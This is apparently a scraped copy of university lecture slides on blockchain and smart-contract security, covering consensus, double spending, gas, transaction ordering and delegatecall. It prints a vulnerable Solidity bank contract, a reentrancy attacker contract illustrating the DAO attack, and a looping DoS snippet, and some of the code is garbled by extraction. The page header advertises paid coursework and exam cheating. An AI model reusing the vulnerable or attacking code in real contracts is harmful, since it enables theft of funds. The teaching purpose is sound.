程序代写代做代考 database javascript graph game assembler chain Java FIT5003 Software Security

FIT5003 Software Security
Blockchain Security
1

Blockchain
Blockchain is not Cryptocurrency
2

Blockchain
Blockchain technology is a digital innovation that is poised to significantly alter financial markets within the next few years, within a cryptographic ecosystem that has the potential to also significantly impact trusted computing activities and therefore cybersecurity concerns as a whole.
3

Blockchain
Blockchain technology was first introduced in a whitepaper entitled: “Bitcoin: A Peer-to-Peer Electronic Cash System,” by Satoshi Nakamoto in 2008.
• No reliance on trust
• Digital signatures
• Peer-to-peer network
• Proof-of-work
• Public history of transactions
• Honest, independent nodes control majority of CPU computing power
• Nodes vote with CPU computing power
• Rules and incentives enforced through consensus mechanism
4

Blockchain
• Bitcoin was the first digital, i.e., cryptocurrency
• A maximum of 21 million Bitcoins can be generated
• Just as with real world mining, energy must be invested to solve complex mathematical problems by which systems earn Bitcoins
• https://www.cryptocoincharts.info/coins/info claims to be indexing 4,220 cryptocurrencies
• Most circulated: Bitcoin, Ethereum, Litecoin
5

Blockchain
6

Blockchain
One database, one owner
Not resilient to organizational failure Not resilient to technical failure
Many database copies, one owner Resilient to technical failure
Not resilient to organizational failure
Many database copies, many owners, no one “master”
Resilient to technical failure Resilient to organizational failure
Centralised
One Owner
Distributed
Router
Master Slave Slave
Decentralised
Owner 1
Node
Owner 2
Node
Owner 3
Node
Owner 4
Node
7

Blockchain
8

Blockchain
A blockchain is a globally shared, transactional database.
If you want to change something in the database, you have to create a so-called transaction which has to be accepted by all others.
9

Blockchain
10

Blockchain
11

Double Spending Attack
If an attacker has >50% CPU power, it can spend a coin more than once.
12

Double Spending Attack
Jiangshan Yu, David Kozhaya, Jeremie Decouchant, and Paulo Verissimo. “RepuCoin: Your Reputation is Your Power”. IEEE Transactions on Computers (IEEE TC). 2019
13

Smart Contract
14

Smart Contract
Definition: A smart contract is a computer program executed in a secure environment that directly controls digital assets.
A computer program is a collection of
instructions that performs a specific task
when executed by a computer. A computer
requires programs to function, and
typically executes the program’s
instructions in a central processing unit.
15

Smart Contract
Definition: A smart contract is a computer program executed in a secure environment that directly controls digital assets.
• Servers run by trusted parties
• Decentralized computer network (ie. blockchains)
• Quasi-decentralized computer network (ie. consortium blockchains)
• Servers secured by trusted hardware (e.g. SGX)
16

Smart Contract
Definition: A smart contract is a computer program executed in a secure environment that directly controls digital assets.
• Legal contract: “I promise to send you $100 if my lecture is rated 5”
• Smart contract: “I send $100 into a computer program executed in a secure environment which sends $100 to you if the rating of my lecture is 5, otherwise it eventually sends $100 back to me”
17

Smart Contract
Definition: A smart contract is a computer program executed in a secure environment that directly controls digital assets.
• Domain name
• Website
• Money
• Anything tokenisable (e.g. gold, silver, stock share etc) • Game items
• Network bandwidth, computation cycles
18

Smart Contract
Ethereum Virtual Machine (EVM)
Accounts
Normal accounts (controlled by public-private key pairs) Contract accounts (controlled by the code)
In contract account, the code can
(1) send ETH to other accounts
(2) read/write private storage
(3) call (i.e., start execution in) other contracts
19

Smart Contract
Transaction
Account Account
(1) Normal Transactions:
Send tokens between accounts
(2) Transactions on contracts:
Like function calls to objects, if the target Account
contains code, it will be executed and the payload will be provided as input data
(3) Transactions to create contracts:
If the target Account is not set, the transaction creates a
new contract
20

Smart Contract
Ethereum’s state consists of key value mapping addresses to account objects
Address Object
0x123456… X
0x1a2b3f… Y
0xab123d… Z
 Nonce
 Balance
 Code hash (code = empty
string for normal accounts)
 Storage trie root
21

Smart Contract
Block Mining
Tx-1
Block
Previous block A set of TXs
Nonce
Verify transactions & execute all code to update the state
Tx-2
Tx-n
New State Root Receipt Root
Broadcast Block
Miners
SHA3(Block) < D 22 Smart Contract Code execution • Every (full) node on the blockchain processes every transaction and stores the entire state P1 P6 This is a new block! I’m a leader This is a new block! P5 P2 P3 P4 This is a new block! This is a new block! This is a new block! This is a new block! 23 Smart Contract • Halting problem • Cannot tell whether or not a program will run infinitely • A malicious miner can DoS attack full nodes by including lots of computation in their txs • Full nodes attacked when verifying the block uint i = 1; while (i++ > 0) {
donothing();
}
24

Smart Contract
Solution: Gas
Charge fee per computational step (“gas”). Special gas fees for operations that take up storage
Sender has to pay for the gas
25

Smart Contract (Scalability)
• Resources on blockchain are expensive
• Full nodes perform the same on-chain computations • Full nodes store the same data
• Gas-limit is relatively small
• Can’t run an OS on blockchain
• Can’t increase gas-limit: DoS vector
26

Smart Contract (Scalability)
Sharding
• Divide the network into sub-networks
• each stores and manages a fraction of
the blockchain (a shard)
• Allow scaling up as the network grows
• There is a catch
• May affect usability or performance
• May not be compatible with all existing applications
Shard Shard Shard 123
27

Smart Contract (Scalability)
State Channel
• Similar to payment channel (e.g. lightning network) but for states
Blockchain
• Scaling by using off-chain transactions
Ali
• Can update the state multiple times • Only settlement transactions are on-
chain
• Challenges
• Cannot create state channel for all applications
• Still early research, more work needed
TX 1
TX 3
TX4
Bob ce
TX2
Contract X
X’s
Initial
State
Many states i
X’s
Final
State
28

Smart Contract (Scalability)
• Storage rental
• Problem: data fee is charged once
• Idea: Charge more fees if store data longer
• Similar to resource tax
• Incentivize users to remove
unnecessary data
• Hardware-rooted trust
• Using SGX to build state channel?
(Inspired by teechan protocol)
29

Transaction Ordering Dependence
Anyone can submit a solution to claim the reward
Owner can update the reward anytime
PuzzleSolver
Contract
Balance: 100
PuzzleSolver() SetPuzzle
reward=100
SubmitSolution(solution) if
isCorrect(solution):
UpdateReward(newReward) Send(reward)
reward=newReward
30

Transaction Ordering Dependence
+100
Random TXs
Other TXs
Miners
PuzzleSolver
Contract
BBalalnancec:e1: 00
PuzzleSolver() SetDifficulty
reward=100
Solution for Puzzle
Block
Random TXs SubmitSolution Other TXs
SubmitSolution(solution) if
isCorrect(solution):
UpdateReward(newReward) Send(reward)
reward=newReward
31

Transaction Ordering Dependence
+0
Update Reward to $0!
Other TXs
Miners
PuzzleSolver
Contract
BBaalalannccee:1: 00
PuzzleSolver() SetDifficulty
reward=100
Solution for Puzzle
Block
UpdateReward = 0 SubmitSolution Other TXs
SubmitSolution(solution) if
isCorrect(solution):
UpdateReward(newReward) Send(reward)
reward=newReward
32

Transaction Ordering Dependence
• Observed state != execution state
• Transactions do not have atomicity property
• Can be coincidence
• Two transactions happen at the same time
• Can be a malicious intention
• Saw the targeted TX from the victim
• Submit the second TX to update the reward • Both TXs enter the race
Solution for Puzzle
Update Reward to $0!
Other TXs
33

Smart Contract
Looks like
python
Serpent
Types,
invariants, looks
like Javascript
Solidity
Looks like
Forth.
Defined in
Yellowpaper
Functional,
macros,
looks like
scheme
Lower-Level
Language
Ethereum VM
Bytecode
Stack Language
34

Smart Contract
35

Smart Contract
What you
write
What other see
on the
blockchain
6060604052604051610
2503803806102508339
81016040528……..
PUSH 6P0USH 40 MSTORE PUSH 0
CALLDATALOAD
…..
What people get
from the
disassembler
36

Smart Contract
Solidity is an object-oriented, high-level language for implementing smart contracts.
Solidity is statically typed, supports inheritance, libraries and complex user-defined types among other features.
Solidity was influenced by C++, Python and JavaScript and is designed to target the Ethereum Virtual Machine (EVM).
37

Smart Contract
pragma solidity >=0.4.0 <0.6.0; contract SimpleStorage { uint storedData; State variable function set(uint x) public { storedData = x; } function get() public view returns (uint) { return storedData; } } No needed to access it via this. 38 Smart Contract 39 The address of the person creating the contract The DAO Attack A DAO is a Decentralized Autonomous Organization. Its goal is to codify the rules and decision making apparatus of an organization, eliminating the need for documents and people in governing, creating a structure with decentralized control. 40 The DAO Attack Fallback function: un unnamed function, which cannot have arguments, nor return anything Fallback function is executed if a contract is called and no other function matches the specified function identifier, or if no data is supplied. Fallback function is also executed whenever a contract would receive plain Ether, without any data. contract SinkContract { function() payable {} } 41 The DAO Attack Bank addToBalance() withdrawBalance() address balance John Snow 1500 Arya Stark 500 42 The DAO Attack contract Bank{ mapping(address=>uint) userBalances;
function getUserBalance(address user) constant returns(uint) { } return userBalances[user];
function addToBalance() public payable { userBalances[msg.sender] = userBalances[msg.sender] +
} msg.value;
// The vulnerable function
function withdrawBalance() {
uint amountToWithdraw = userBalances[msg.sender];
if (msg.sender.call.value(amountToWithdraw)() == false) {
{ throw; //Just as an example }userBalances[msg.sender] = 0;
} }
43

The DAO Attack
contract BankAttacker{
address bankAddress;
function BankAttacker(address _bankAddress) payable{ } bankAddress=_bankAddress;
function() payable { if(bankAddress.call(“withdrawBalance()”))==false) {
} } throw;
function deposit(){ if(bankAddress.call.value(200)(“addToBalance()”))==false) {
} } throw;
function withdraw(){ if(bankAddress.call(“withdrawBalance()”))==false ) {
throw; }
} }
44
Fallback function

The DAO Attack
Normal
Attack
45

Delegatecall
The DELEGATECALL opcode is identical to the standard message call, except that the code executed at the targeted address is run in the context of the calling contract along with the fact
that msg.sender and msg.value remain unchanged. This feature enables the implementation of libraries whereby developers can create reusable code for future contracts.
46

Delegatecall
Slots[0]
Slots[0] = _start; Slots[1] = fibonacci(n);
Slots[1]
47

Delegatecall
calculatedFibNumber = —;
48

Unchecked CALL Return Values
The return value of
send() is not checked
49

Oyente: Analyzer for Smart Contract
• Based on symbolic execution
• Have separate modules
• Can add more analysis separately
https://github.com/
ethereum/oyente
60606040521 23123123528 ….B.yteCode
Visuali zer
Ethereum
State
EXPLORER
CFG BUILDER
CORE
ANALYSIS
VALIDATOR
Z3 Bit-Vector
Solver
50

Smart Contract
Is there any value of x?
x
T z = x + 2; FTF
Inputs
TFT
TF
C1: ( x > 0) C2 :(z<15) C1 ∧ C2 ∧ C3 ∧ (z = x + 2) SyTmheboorelmic T C3:( <8) z FT Prover Formula NO xYES Flow Graph Execution Trace =10 Control 51 Smart Contract • Detect Bugs In Existing Smart Contracts • Run with 19, 366 contracts • 30 mins timeout per contract • Test generation, cover all possible paths of each program TF TF FT FT 6000 5000 4000 3000 2000 1000 0 5411 1385 Flagged Buggy Contracts 3056 135 340 186 83 52 Callstack TOD Reentrancy Total Unique Timestamp 52